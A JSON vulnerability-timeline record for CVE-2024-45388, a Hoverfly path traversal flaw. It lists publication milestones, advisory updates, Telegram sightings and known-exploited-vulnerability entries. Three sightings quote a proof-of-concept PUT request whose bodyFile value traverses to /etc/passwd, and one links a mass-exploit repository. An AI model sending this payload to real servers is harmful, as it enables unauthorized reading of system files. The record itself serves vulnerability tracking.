{"metadata": {"vulnerability": "cve-2024-45388", "count": 37, "kinds": {"milestone": 4, "sighting": 14, "kev": 11, "other": 8}}, "data": [{"timestamp": "2024-08-28T20:21:32.801Z", "date_only": false, "value": "2024-08-28T20:21:32.801Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2024-45388", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-09-02T16:07:17.599Z", "date_only": false, "value": "2024-09-02T16:07:17.599Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2024-45388", "field": "cveMetadata.datePublished"}, {"timestamp": "2024-09-02T16:07:17.599Z", "date_only": false, "value": "2024-09-02T16:07:17.599Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / GitHub_M", "record": "cve-2024-45388", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-09-02T18:15:38Z", "date_only": false, "value": "2024-09-02T18:15:38Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-6XX4-X46F-F897", "record": "GHSA-6XX4-X46F-F897", "field": "database_specific.nvd_published_at"}, {"timestamp": "2024-09-02T18:15:38.063Z", "date_only": false, "value": "2024-09-02T18:15:38.063", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-45388", "record": "FKIE_CVE-2024-45388", "field": "published"}, {"timestamp": "2024-09-02T21:24:11Z", "date_only": false, "value": "2024-09-02T21:24:11.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cvedetector/4642", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "f867810a-e4e8-4c2a-8277-61e9c797ab0c", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-45388 - Hoverfly File Path Traversal\", \n  \"Content\": \"CVE ID : CVE-2024-45388 \nPublished : Sept. 2, 2024, 6:15 p.m. | 42\u00a0minutes ago \nDescription : Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "url": "https://t.me/cvedetector/4642"}, {"timestamp": "2024-09-03T13:52:29.019Z", "date_only": false, "value": "2024-09-03T13:52:29.019621Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-45388", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-09-03T13:52:29.019Z", "date_only": false, "value": "2024-09-03T13:52:29.019621Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-45388", "record": "FKIE_CVE-2024-45388", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-09-03T14:22:12.634Z", "date_only": false, "value": "2024-09-03T14:22:12.634Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2024-45388", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-09-03T14:22:12.634Z", "date_only": false, "value": "2024-09-03T14:22:12.634Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-45388", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-09-03T21:01:53Z", "date_only": false, "value": "2024-09-03T21:01:53Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-6XX4-X46F-F897", "record": "GHSA-6XX4-X46F-F897", "field": "published"}, {"timestamp": "2024-09-06T21:41:35Z", "date_only": false, "value": "2024-09-06T21:41:35Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-6XX4-X46F-F897", "record": "GHSA-6XX4-X46F-F897", "field": "modified"}, {"timestamp": "2024-09-09T11:01:47Z", "date_only": false, "value": "2024-09-09T11:01:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/1943", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "6d0967c0-3529-4dac-9730-d991a558f279", "content": "CVE-2024-45388\n\nPUT /api/v2/simulation HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\n \n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"bodyFile\": \"../../../../../../../etc/passwd\",\"x\":\"aaa\"}} ]},\"meta\":{\"schemaVersion\":\"v5.3\"}}\n\n../../../../../../../etc/passwd\n\n#exploit #poc", "url": "https://t.me/realLulzSec/1943"}, {"timestamp": "2024-09-09T11:38:54Z", "date_only": false, "value": "2024-09-09T11:38:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8495", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "d48b1641-05c3-4d8c-a3f3-817785e21550", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMass Exploit - CVE-2024-45388 - Hoverfly < Arbitrary File Read\nURL\uff1ahttps://github.com/codeb0ss/CVE-2024-45388-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8495"}, {"timestamp": "2024-09-09T11:41:05Z", "date_only": false, "value": "2024-09-09T11:41:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ZCFA5w0CrpK-MUc1nguPz2-JCm9kksdMyB2cadpxoNX3yLmo", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "c9f6a06c-c4fd-4763-836e-7fcefd6bb3d4"}, {"timestamp": "2024-09-09T13:48:19Z", "date_only": false, "value": "2024-09-09T13:48:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3141", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "d2003345-d824-4b97-b408-f9f279dfc10a", "content": "CVE-2024-45388\n\nPUT /api/v2/simulation HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\n \n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"bodyFile\": \"../../../../../../../etc/passwd\",\"x\":\"aaa\"}} ]},\"meta\":{\"schemaVersion\":\"v5.3\"}}\n\n../../../../../../../etc/passwd\n\n#exploit #poc", "url": "https://t.me/CNArsenal/3141"}, {"timestamp": "2024-09-09T14:58:35Z", "date_only": false, "value": "2024-09-09T14:58:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/18531", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "37c52ffe-7c28-4204-ad2c-a5d672bd15e6", "content": "CVE-2024-45388\n\nPUT /api/v2/simulation HTTP/1.1\nHost: \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\n \n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"bodyFile\": \"../../../../../../../etc/passwd\",\"x\":\"aaa\"}} ]},\"meta\":{\"schemaVersion\":\"v5.3\"}}\n\n../../../../../../../etc/passwd\n\n#exploit #poc", "url": "https://t.me/realLulzSec/18531"}, {"timestamp": "2024-09-09T18:12:56Z", "date_only": false, "value": "2024-09-09T18:12:56.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Ov4J2DsXndgwJKzu7I631PpTsnhQ7Z-PoFQvjgZGXhxTpQ", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "45c6e744-5f20-40ba-b3f1-1f3291f06462"}, {"timestamp": "2024-09-20T22:07:31Z", "date_only": false, "value": "2024-09-20T22:07:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/codeb0ss/1594", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "92f7c95e-fbba-4a49-80d3-e8f23d3fe4e5", "url": "https://t.me/codeb0ss/1594"}, {"timestamp": "2024-12-05T03:40:39Z", "date_only": false, "value": "2024-12-05T03:40:39+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2024-45388", "field": "timestamps.asserted_at", "uuid": "eb91473c-18e1-429c-8c6c-90844e03b73f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-12-05T03:40:39Z", "date_only": false, "value": "2024-12-05T03:40:39+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2024-45388", "field": "timestamps.first_seen_at", "uuid": "eb91473c-18e1-429c-8c6c-90844e03b73f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-05-15T00:00:00Z", "date_only": false, "value": "2025-05-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-15)", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "37f82f80-e51a-4176-a2f4-281ae40cc657"}, {"timestamp": "2026-02-14T00:00:00Z", "date_only": false, "value": "2026-02-14T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2024-45388", "field": "timestamps.asserted_at", "uuid": "cd06e0f4-df2d-40d9-8ddc-eb2f3293cc14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-14T00:00:00Z", "date_only": false, "value": "2026-02-14T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2024-45388", "field": "evidence.0.details.added_date", "uuid": "cd06e0f4-df2d-40d9-8ddc-eb2f3293cc14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-14T00:00:00Z", "date_only": false, "value": "2026-02-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "8fc924c0-440d-43b9-a469-d07d039d0b4e"}, {"timestamp": "2026-02-14T00:00:00Z", "date_only": false, "value": "2026-02-14T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2024-45388", "field": "timestamps.first_seen_at", "uuid": "cd06e0f4-df2d-40d9-8ddc-eb2f3293cc14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-14T00:00:00Z", "date_only": false, "value": "2026-02-14T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2024-45388", "field": "status.status_updated_at", "uuid": "cd06e0f4-df2d-40d9-8ddc-eb2f3293cc14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-05-06T00:00:00Z", "date_only": false, "value": "2026-05-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-06)", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "5ef57e3d-30ad-45c6-95ea-9eceab6e8733"}, {"timestamp": "2026-06-17T07:54:07.090Z", "date_only": false, "value": "2026-06-17T07:54:07.090", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-45388", "record": "FKIE_CVE-2024-45388", "field": "lastModified"}, {"timestamp": "2026-06-19T12:45:40.218Z", "date_only": false, "value": "2026-06-19T12:45:40.218375Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4c8f1d9d-9d1d-4540-9f8b-3ffa047a0235", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "ea2c28eb-5f85-4621-aefa-0f5351022a62", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4c8f1d9d-9d1d-4540-9f8b-3ffa047a0235"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2024-45388", "field": "timestamps.recorded_at", "uuid": "cd06e0f4-df2d-40d9-8ddc-eb2f3293cc14", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:03:09.212Z", "date_only": false, "value": "2026-06-23T14:03:09.212911Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cd06e0f4-df2d-40d9-8ddc-eb2f3293cc14", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "ce19c41e-9b15-4739-bade-d1bde484b8cd", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cd06e0f4-df2d-40d9-8ddc-eb2f3293cc14"}, {"timestamp": "2026-06-30T09:23:10.052Z", "date_only": false, "value": "2026-06-30T09:23:10.052189Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/eb91473c-18e1-429c-8c6c-90844e03b73f", "record": "CVE-2024-45388", "field": "creation_timestamp", "uuid": "2e272f60-25fe-40be-87d0-7dd39c5468e7", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/eb91473c-18e1-429c-8c6c-90844e03b73f"}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2024-45388", "field": "timestamps.last_seen_at", "uuid": "eb91473c-18e1-429c-8c6c-90844e03b73f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": true, "value": "2026-07-20", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2024-45388", "field": "evidence.0.details.observation_date", "uuid": "eb91473c-18e1-429c-8c6c-90844e03b73f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-20T00:00:00Z", "date_only": false, "value": "2026-07-20T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2024-45388", "field": "status.status_updated_at", "uuid": "eb91473c-18e1-429c-8c6c-90844e03b73f", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-22T01:00:01Z", "date_only": false, "value": "2026-07-22T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2024-45388", "field": "timestamps.recorded_at", "uuid": "eb91473c-18e1-429c-8c6c-90844e03b73f", "status": {"status_reason": "confirmed", "exploited": true}}]}